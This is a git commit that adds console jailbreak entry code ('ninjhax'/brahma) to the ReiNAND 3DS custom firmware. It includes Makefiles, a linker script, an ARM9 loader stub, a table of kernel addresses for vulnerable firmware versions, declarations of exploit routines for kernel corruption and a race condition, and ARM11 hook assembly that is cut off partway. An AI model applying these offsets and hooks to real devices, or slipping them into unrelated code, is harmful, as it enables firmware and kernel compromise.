added ninjhax entry code

This commit is contained in:
Reisyukaku 2015-08-05 06:31:17 -04:00
parent 66c5551323
commit a63a2c6767
29 changed files with 1983 additions and 5 deletions

8
.gitignore vendored
View File

@ -2,4 +2,10 @@ build.bat
data/firmware.bin
out
mset
build
build
*.bin
*.3dsx
*.smdh
*.o
*.d
*.elf

View File

@ -19,6 +19,7 @@ dir_mset := mset
dir_out := out
dir_emu := emunand
dir_thread := thread
dir_ninjhax := ninjhax
ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te
CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
@ -30,27 +31,43 @@ objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
.PHONY: all
all: launcher
all: launcher emunand thread ninjhax
.PHONY: launcher
launcher: $(dir_out)/ReiNand.dat
launcher: $(dir_out)/ReiNand.dat
.PHONY: emunand
emunand: $(dir_out)/rei/emunand/emunand.bin
.PHONY: thread
thread: $(dir_out)/rei/thread/arm9.bin
.PHONY: ninjhax
ninjhax: $(dir_out)/3ds/
.PHONY: clean
clean:
@$(MAKE) $(FLAGS) -C $(dir_mset) clean
@$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean
rm -rf $(dir_out) $(dir_build)
.PHONY: $(dir_out)/ReiNand.dat
$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/ $(dir_out)/rei/thread/arm9.bin $(dir_out)/rei/emunand/emunand.bin
$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/
@$(MAKE) $(FLAGS) -C $(dir_mset) launcher
dd if=$(dir_build)/main.bin of=$@ bs=512 seek=256
$(dir_out)/3ds/:
@mkdir -p "$(dir_out)/3ds/ReiNand"
@$(MAKE) -C $(dir_ninjhax)
@cp -av $(dir_ninjhax)/ninjhax.3dsx $(dir_out)/3ds/ReiNand/ReiNand.3dsx
@cp -av $(dir_ninjhax)/ninjhax.smdh $(dir_out)/3ds/ReiNand/ReiNand.smdh
$(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin
@mkdir -p "$(dir_out)/rei"
@cp -av $(dir_data)/*bin $@
$(dir_out)/rei/thread/arm9.bin: $(dir_thread)
@$(MAKE) -C $(dir_thread)
@$(MAKE) $(FLAGS) -C $(dir_thread)
@mkdir -p "$(dir_out)/rei/thread"
@mv $(dir_thread)/arm9.bin $(dir_out)/rei/thread

177
ninjhax/Makefile Normal file
View File

@ -0,0 +1,177 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
TOPDIR ?= $(CURDIR)
include $(DEVKITARM)/3ds_rules
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# DATA is a list of directories containing data files
# INCLUDES is a list of directories containing header files
#
# NO_SMDH: if set to anything, no SMDH file is generated.
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
# ICON is the filename of the icon (.png), relative to the project folder.
# If not set, it attempts to use one of the following (in this order):
# - <Project name>.png
# - icon.png
# - <libctru folder>/default_icon.png
#---------------------------------------------------------------------------------
TARGET := $(notdir $(CURDIR))
BUILD := build
SOURCES := source
DATA := data
INCLUDES := include
APP_TITLE := ReiNAND
APP_DESCRIPTION := N3DS CFW
APP_AUTHOR := Reisyukaku
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
CFLAGS := -g -Wall -O3 -mword-relocations \
-fomit-frame-pointer -ffast-math \
$(ARCH)
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 -w
ASFLAGS := -g $(ARCH)
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
LIBS := -lctru -lm
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CTRULIB)
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET)
export TOPDIR := $(CURDIR)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) payload.bin
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
ifeq ($(strip $(ICON)),)
icons := $(wildcard *.png)
ifneq (,$(findstring $(TARGET).png,$(icons)))
export APP_ICON := $(TOPDIR)/$(TARGET).png
else
ifneq (,$(findstring icon.png,$(icons)))
export APP_ICON := $(TOPDIR)/icon.png
endif
endif
else
export APP_ICON := $(TOPDIR)/$(ICON)
endif
.PHONY: $(BUILD) clean all
#---------------------------------------------------------------------------------
all: payload.bin $(BUILD)
$(BUILD):
@echo $(SFILES)
@[ -d $@ ] || mkdir -p $@
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
payload.bin :
@cd data/payload && make
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
@cd data/payload && make clean
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
ifeq ($(strip $(NO_SMDH)),)
.PHONY: all
all : $(OUTPUT).3dsx $(OUTPUT).smdh
endif
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
$(OUTPUT).3dsx : $(OUTPUT).elf
$(OUTPUT).elf : $(OFILES)
#---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data
#---------------------------------------------------------------------------------
%.bin.o : %.bin
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@$(bin2o)
# WARNING: This is not the right way to do this! TODO: Do it right!
#---------------------------------------------------------------------------------
%.vsh.o : %.vsh
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
@rm ../$(notdir $<).shbin
-include $(DEPENDS)
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

View File

@ -0,0 +1,134 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
include $(DEVKITARM)/ds_rules
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# DATA is a list of directories containing data files
# INCLUDES is a list of directories containing header files
# SPECS is the directory containing the important build and link files
#---------------------------------------------------------------------------------
export TARGET := $(shell basename $(CURDIR))
BUILD := build
SOURCES := source source/fatfs source/decryptor
DATA := data
INCLUDES := include source source/fatfs
#---------------------------------------------------------------------------------
# Setup some defines
#---------------------------------------------------------------------------------
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH := -mthumb -mthumb-interwork
CFLAGS := -g -Wall -O2\
-march=armv5te -mtune=arm946e-s -fomit-frame-pointer\
-ffast-math -std=c99 -mthumb\
$(ARCH)
CFLAGS += $(INCLUDE) -DARM9
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions
ASFLAGS := -g $(ARCH)
LDFLAGS = -nostartfiles -g --specs=../stub.specs $(ARCH) -Wl,-Map,$(TARGET).map
LIBS :=
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS :=
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
.PHONY: $(BUILD) clean all
#---------------------------------------------------------------------------------
all: $(BUILD)
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT).bin : $(OUTPUT).elf
$(OUTPUT).elf : $(OFILES)
#---------------------------------------------------------------------------------
%.bin: %.elf
@$(OBJCOPY) -O binary $< $@
@rm $<
@echo built ... $(notdir $@)
-include $(DEPENDS)
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

View File

@ -0,0 +1,50 @@
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void* (*reiNand)() = 0x08000030;
void main()
{
/*int fbfound = 0;
unsigned char* screen = 0x20000000;
for(int i = 0; i < 0x30; i++){
if( *((unsigned int*)(screen + i + 0)) == 0xABADF00D &&
*((unsigned int*)(screen + i + 4)) == 0xDEADBEEF ){
fbfound = 1;
screen += i;
}
}
if(!fbfound){
screen = 0x20046500;
for(int i = 0; i < 0x30; i++){
if( *((unsigned int*)(screen + i + 0)) == 0xABADF00D &&
*((unsigned int*)(screen + i + 4)) == 0xDEADBEEF ){
fbfound = 1;
screen += i;
}
}
}
*/
*((unsigned int*)0x080FFFC0) = 0x20000000;
*((unsigned int*)0x080FFFC4) = 0x20046500;
*((unsigned int*)0x080FFFD8) = 0;
unsigned int* buf = 0x20400000;
unsigned int base = 0x67893421;
unsigned int seed = 0x12756342;
for(int i = 0; i < 400*1024/4; i++){
buf[i] ^= base;
base += seed;
}
unsigned char*src = 0x20400000;
unsigned char*dst = 0x08000000;
for(int i = 0; i < 320*1024; i++){
dst[i] = src[i];
}
*(unsigned int*)0x10000020 = 0;
*(unsigned int*)0x10000020 = 0x340;
reiNand();
}

View File

@ -0,0 +1,75 @@
@---------------------------------------------------------------------------------
.section ".init"
@---------------------------------------------------------------------------------
.global _start
.extern main
.align 4
.arm
@---------------------------------------------------------------------------------
b _start
NOP
NOP
NOP
_start:
MSR CPSR_c, #0xDF
LDR R0, =0x2078
MCR p15, 0, R0,c1,c0, 0
LDR R0, =0xFFFF001D
LDR R1, =0x1FF801D
LDR R2, =0x8000027
LDR R3, =0x10000021
LDR R4, =0x10100025
LDR R5, =0x20000035
LDR R6, =0x2800801B
LDR R7, =0x1800002D
LDR R8, =0x33333336
LDR R9, =0x60600666
MOV R10, #0x25
MOV R11, #0x25
MOV R12, #0x25
MCR p15, 0, R0,c6,c0, 0
MCR p15, 0, R1,c6,c1, 0
MCR p15, 0, R2,c6,c2, 0
MCR p15, 0, R3,c6,c3, 0
MCR p15, 0, R4,c6,c4, 0
MCR p15, 0, R5,c6,c5, 0
MCR p15, 0, R6,c6,c6, 0
MCR p15, 0, R7,c6,c7, 0
MCR p15, 0, R8,c5,c0, 2
MCR p15, 0, R9,c5,c0, 3
MCR p15, 0, R10,c3,c0, 0
MCR p15, 0, R11,c2,c0, 0
MCR p15, 0, R12,c2,c0, 1
LDR R0, =0x2800800C
MCR p15, 0, R0,c9,c1, 0
MOV R0, #0x1E
MCR p15, 0, R0,c9,c1, 1
MOV R12, #0
loc_9D3D54:
MOV R0, #0
MOV R2, R12,LSL#30
loc_9D3D5C:
ORR R1, R2, R0,LSL#5
MCR p15, 0, R1,c7,c14, 2
ADD R0, R0, #1
CMP R0, #0x20
BCC loc_9D3D5C
ADD R12, R12, #1
CMP R12, #4
BCC loc_9D3D54
MOV R0, #0
MCR p15, 0, R0,c7,c10, 4
MOV R0, #0
MCR p15, 0, R0,c7,c5, 0
LDR R0, =0x5307D
MCR p15, 0, R0,c1,c0, 0
ldr r3, =main;
blx r3
InfiniteLoop:
b InfiniteLoop
.pool

View File

@ -0,0 +1,164 @@
OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm")
OUTPUT_ARCH(arm)
ENTRY(_start)
MEMORY
{
ram : ORIGIN = 0x23F00000, LENGTH = 128K
}
SECTIONS
{
.init :
{
__text_start = . ;
KEEP (*(.init))
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
} >ram = 0xff
.plt : { *(.plt) } >ram = 0xff
.text : /* ALIGN (4): */
{
*(.text .stub .text.* .gnu.linkonce.t.*)
KEEP (*(.text.*personality*))
/* .gnu.warning sections are handled specially by elf32.em. */
*(.gnu.warning)
*(.glue_7t) *(.glue_7) *(.vfp11_veneer)
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
} >ram = 0xff
.fini :
{
KEEP (*(.fini))
} >ram =0xff
__text_end = . ;
.rodata :
{
*(.rodata)
*all.rodata*(*)
*(.roda)
*(.rodata.*)
*(.gnu.linkonce.r*)
SORT(CONSTRUCTORS)
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
} >ram = 0xff
.ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) } >ram
__exidx_start = .;
.ARM.exidx : { *(.ARM.exidx* .gnu.linkonce.armexidx.*) } >ram
__exidx_end = .;
/* Ensure the __preinit_array_start label is properly aligned. We
could instead move the label definition inside the section, but
the linker would then create the section even if it turns out to
be empty, which isn't pretty. */
. = ALIGN(32 / 8);
PROVIDE (__preinit_array_start = .);
.preinit_array : { KEEP (*(.preinit_array)) } >ram = 0xff
PROVIDE (__preinit_array_end = .);
PROVIDE (__init_array_start = .);
.init_array : { KEEP (*(.init_array)) } >ram = 0xff
PROVIDE (__init_array_end = .);
PROVIDE (__fini_array_start = .);
.fini_array : { KEEP (*(.fini_array)) } >ram = 0xff
PROVIDE (__fini_array_end = .);
.ctors :
{
/* gcc uses crtbegin.o to find the start of the constructors, so
we make sure it is first. Because this is a wildcard, it
doesn't matter if the user does not actually link against
crtbegin.o; the linker won't look for a file to match a
wildcard. The wildcard also means that it doesn't matter which
directory crtbegin.o is in. */
KEEP (*crtbegin.o(.ctors))
KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors))
KEEP (*(SORT(.ctors.*)))
KEEP (*(.ctors))
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
} >ram = 0xff
.dtors :
{
KEEP (*crtbegin.o(.dtors))
KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors))
KEEP (*(SORT(.dtors.*)))
KEEP (*(.dtors))
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
} >ram = 0xff
.eh_frame :
{
KEEP (*(.eh_frame))
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
} >ram = 0xff
.gcc_except_table :
{
*(.gcc_except_table)
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
} >ram = 0xff
.jcr : { KEEP (*(.jcr)) } >ram = 0
.got : { *(.got.plt) *(.got) } >ram = 0
.data ALIGN(4) : {
__data_start = ABSOLUTE(.);
*(.data)
*(.data.*)
*(.gnu.linkonce.d*)
CONSTRUCTORS
. = ALIGN(4);
__data_end = ABSOLUTE(.) ;
} >ram = 0xff
.bss ALIGN(4) :
{
__bss_start = ABSOLUTE(.);
__bss_start__ = ABSOLUTE(.);
*(.dynbss)
*(.gnu.linkonce.b*)
*(.bss*)
*(COMMON)
. = ALIGN(4); /* REQUIRED. LD is flaky without it. */
__bss_end__ = ABSOLUTE(.);
__end__ = ABSOLUTE(.);
} >ram
/* Stabs debugging sections. */
.stab 0 : { *(.stab) }
.stabstr 0 : { *(.stabstr) }
.stab.excl 0 : { *(.stab.excl) }
.stab.exclstr 0 : { *(.stab.exclstr) }
.stab.index 0 : { *(.stab.index) }
.stab.indexstr 0 : { *(.stab.indexstr) }
.comment 0 : { *(.comment) }
/* DWARF debug sections.
Symbols in the DWARF debugging sections are relative to the beginning
of the section so we begin them at 0. */
/* DWARF 1 */
.debug 0 : { *(.debug) }
.line 0 : { *(.line) }
/* GNU DWARF 1 extensions */
.debug_srcinfo 0 : { *(.debug_srcinfo) }
.debug_sfnames 0 : { *(.debug_sfnames) }
/* DWARF 1.1 and DWARF 2 */
.debug_aranges 0 : { *(.debug_aranges) }
.debug_pubnames 0 : { *(.debug_pubnames) }
/* DWARF 2 */
.debug_info 0 : { *(.debug_info) }
.debug_abbrev 0 : { *(.debug_abbrev) }
.debug_line 0 : { *(.debug_line) }
.debug_frame 0 : { *(.debug_frame) }
.debug_str 0 : { *(.debug_str) }
.debug_loc 0 : { *(.debug_loc) }
.debug_macinfo 0 : { *(.debug_macinfo) }
/* SGI/MIPS DWARF 2 extensions */
.debug_weaknames 0 : { *(.debug_weaknames) }
.debug_funcnames 0 : { *(.debug_funcnames) }
.debug_typenames 0 : { *(.debug_typenames) }
.debug_varnames 0 : { *(.debug_varnames) }
.stack 0x80000 : { _stack = .; *(.stack) }
/* These must appear regardless of . */
}

View File

@ -0,0 +1,5 @@
%rename link old_link
*link:
%(old_link) -T ../stub.ld%s

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,16 @@
import sys;
import os
f1 = 0
f2 = 0
f3 = 0
f1size = 0
with open(sys.argv[1], "rb+") as file1:
with open(sys.argv[2], "rb") as file2:
f1 = file1.read()
f2 = file2.read()
file1.seek(int(sys.argv[3], 16), os.SEEK_SET)
file1.write(f2);

BIN
ninjhax/icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.1 KiB

32
ninjhax/include/brahma.h Normal file
View File

@ -0,0 +1,32 @@
#pragma once
#include "exploitdata.h"
s32 load_arm9_payload (char *filename);
s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
void do_gshax_copy (void *dst, void *src, u32 len);
void priv_write_four (u32 address);
void user_clear_icache (void);
s32 corrupt_svcCreateThread (void);
s32 map_arm9_payload (void);
s32 map_arm11_payload (void);
void exploit_arm9_race_condition (void);
void repair_svcCreateThread (void);
s32 get_exploit_data (struct exploit_data *data);
s32 firm_reboot ();
#define BRAHMA_NETWORK_PORT 80
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
#define ARM_RET 0xE12FFF1E // BX LR
#define ARM_NOP 0xE1A00000 // NOP
static u8 *g_ext_arm9_buf;
static u32 g_ext_arm9_size = 0;
static s32 g_ext_arm9_loaded = 0;
extern void *arm11_start;
extern void *arm11_end;
extern void *arm9_start;
extern void *arm9_end;

View File

@ -0,0 +1,204 @@
#pragma once
#define SYS_MODEL_NONE 0
#define SYS_MODEL_OLD_3DS 1
#define SYS_MODEL_NEW_3DS 2
#define PA_EXC_HANDLER_BASE 0x1FFF4000
#define PA_FCRAM_BASE 0x20000000
#define OFFS_FCRAM_MAPPED_FIRM 0x04000000
#define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000
#define OFFS_EXC_HANDLER_UNUSED 0xC80
#if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM
#error ERRROR: Invalid ARM9 payload offset
#endif
#define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD)
/* any changes to this structure must also be applied to
the data structure following the 'arm11_globals_start'
label of arm11.s */
typedef struct arm11_shared_data {
u32 va_pdn_regs;
u32 va_pxi_regs;
u32 va_hook1_ret;
};
typedef struct exploit_data {
u32 firm_version;
u32 sys_model; // mask
u32 va_patch_createthread;
u32 va_patch_hook1;
u32 va_patch_hook2;
u32 va_hook1_ret;
u32 va_fcram_base;
u32 va_exc_handler_base_W;
u32 va_exc_handler_base_X;
u32 va_kernelsetstate;
u32 va_pdn_regs;
u32 va_pxi_regs;
};
static struct exploit_data g_expdata;
static struct arm11_shared_data g_arm11shared;
// add all vulnerable systems below
static const struct exploit_data supported_systems[] = {
{
0x022E0000, // FIRM version
SYS_MODEL_NEW_3DS, // model
0xDFF83837, // VA of CreateThread code to corrupt
0xDFFE7A50, // VA of 1st hook for firmlaunch
0xDFFF4994, // VA of 2nd hook for firmlaunch
0xFFF28A58, // VA of return address from 1st hook
0xE0000000, // VA of FCRAM
0xDFFF4000, // VA of lower mapped exception handler base
0xFFFF0000, // VA of upper mapped exception handler base
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
0xFFFBE000, // VA PDN registers
0xFFFC0000 // VA PXI registers
},
{
0x022C0600, // FIRM version
SYS_MODEL_NEW_3DS, // model
0xDFF83837, // VA of CreateThread code to corrupt
0xDFFE7A50, // VA of 1st hook for firmlaunch
0xDFFF4994, // VA of 2nd hook for firmlaunch
0xFFF28A58, // VA of return address from 1st hook
0xE0000000, // VA of FCRAM
0xDFFF4000, // VA of lower mapped exception handler base
0xFFFF0000, // VA of upper mapped exception handler base
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
0xFFFBE000, // VA PDN registers
0xFFFC0000 // VA PXI registers
},
{
0x02220000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83C9F,
0xEFFE4DD4,
0xEFFF497C,
0xFFF84DDC,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF748C4,
0xFFFD0000,
0xFFFD2000
},
{
0x02230600,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83737,
0xEFFE55BC,
0xEFFF4978,
0xFFF765C4,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64B94,
0xFFFD0000,
0xFFFD2000
},
{
0x022E0000,
SYS_MODEL_OLD_3DS,
0xDFF8383F,
0xDFFE59D0,
0xDFFF4974,
0xFFF279D8,
0xE0000000,
0xDFFF4000,
0xFFFF0000,
0xFFF151C0,
0xFFFC2000,
0xFFFC4000
},
{
0x022C0600,
SYS_MODEL_OLD_3DS,
0xDFF8376F,
0xDFFE4F28,
0xDFFF4974,
0xFFF66F30,
0xE0000000,
0xDFFF4000,
0xFFFF0000,
0xFFF54BAC,
0xFFFBE000,
0xFFFC0000
},
{
0x02280000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83733,
0xEFFE5B30,
0xEFFF4974,
0xFFF76B38,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF54BAC,
0xFFFD0000,
0xFFFD2000
},
{
0x02270400,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83737,
0xEFFE5B34,
0xEFFF4978,
0xFFF76B3C,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64AB0,
0xFFFD0000,
0xFFFD2000
},
{
0x02250000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83733,
0xEFFE5AE8,
0xEFFF4978,
0xFFF76AF0,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64A78,
0xFFFD0000,
0xFFFD2000
},
{
0x02260000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83733,
0xEFFE5AE8,
0xEFFF4978,
0xFFF76AF0,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64A78,
0xFFFD0000,
0xFFFD2000
},
{
0x02240000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFF83733,
0xEFFE55B8,
0xEFFF4978,
0xFFF765C0,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64B90,
0xFFFD0000,
0xFFFD2000
}
};

4
ninjhax/include/hid.h Normal file
View File

@ -0,0 +1,4 @@
#pragma once
u32 wait_key (void);
void wait_any_key (void);

42
ninjhax/include/menus.h Normal file
View File

@ -0,0 +1,42 @@
#pragma once
#include "textmenu.h"
#define BRAHMADIR "/brahma/"
s32 print_menu (s32 idx, struct menu_t *menu);
s32 print_file_list (s32 idx, struct menu_t *menu);
s32 print_main_menu (s32 idx, struct menu_t *menu);
s32 get_filename (s32 idx, char *buf, u32 size);
s32 menu_cb_load (s32 idx, void *param);
s32 menu_cb_choose_file (s32 idx, void *param);
s32 menu_cb_run (s32 idx, void *param);
s32 menu_cb_recv (s32 idx, void *param);
s32 menu_cb_patch_svc (s32 idx, void *param);
static const struct menu_t g_main_menu = {
3,
{
{"Load ARM9 payload", &menu_cb_choose_file},
{"Receive ARM9 payload", &menu_cb_recv},
{"Run ARM9 payload", &menu_cb_run}
}
};
static const struct menu_t g_file_list = {
10,
{
{"Slot 0", &menu_cb_load},
{"Slot 1", &menu_cb_load},
{"Slot 2", &menu_cb_load},
{"Slot 3", &menu_cb_load},
{"Slot 4", &menu_cb_load},
{"Slot 5", &menu_cb_load},
{"Slot 6", &menu_cb_load},
{"Slot 7", &menu_cb_load},
{"Slot 8", &menu_cb_load},
{"Slot 9", &menu_cb_load}
}
};

9
ninjhax/include/sochlp.h Normal file
View File

@ -0,0 +1,9 @@
#pragma once
#define SOC_ALIGN 0x1000
#define SOC_BUFFERSIZE 0x100000
u32 soc_init (void);
u32 soc_exit (void);
static u32 *SOC_buffer = 0;

View File

@ -0,0 +1,20 @@
#pragma once
typedef int menu_func_t (s32, void *);
typedef struct menu_elem_t {
const char *name;
menu_func_t *func;
} _menu_elem_t;
typedef struct menu_t {
s32 element_count;
struct menu_elem_t element[];
} _menu_t;
s32 menu_get_element_count (struct menu_t *menu);
s32 menu_is_valid_index (s32 idx, struct menu_t *menu);
s32 menu_update_index (s32 idx, struct menu_t *menu);
const char *menu_get_element_name (s32 idx, struct menu_t *menu);
menu_func_t *menu_get_element_function (s32 idx, struct menu_t *menu);
s32 menu_execute_function (s32 idx, struct menu_t *menu, void *param);

4
ninjhax/include/utils.h Normal file
View File

@ -0,0 +1,4 @@
#pragma once
void InvalidateEntireInstructionCache (void);
void InvalidateEntireDataCache (void);

178
ninjhax/source/arm11.s Normal file
View File

@ -0,0 +1,178 @@
.arm
.align 4
.code 32
.text
.global arm11_start
arm11_start:
B hook1
B hook2
hook1:
STMFD SP!, {R0-R12,LR}
MOV R0, #1000
BL busy_spin
MOV R0, #0
BL pxi_send
BL pxi_sync
MOV R0, #0x10000
BL pxi_send
BL pxi_recv
BL pxi_recv
BL pxi_recv
MOV R0, #2
BL pdn_send
MOV R0, #16
BL busy_spin
MOV R0, #0
BL pdn_send
MOV R0, #16
BL busy_spin
LDMFD SP!, {R0-R12,LR}
LDR R0, var_44836
STR R0, [R1]
LDR PC, va_hook1_ret
var_44836: .long 0x44836
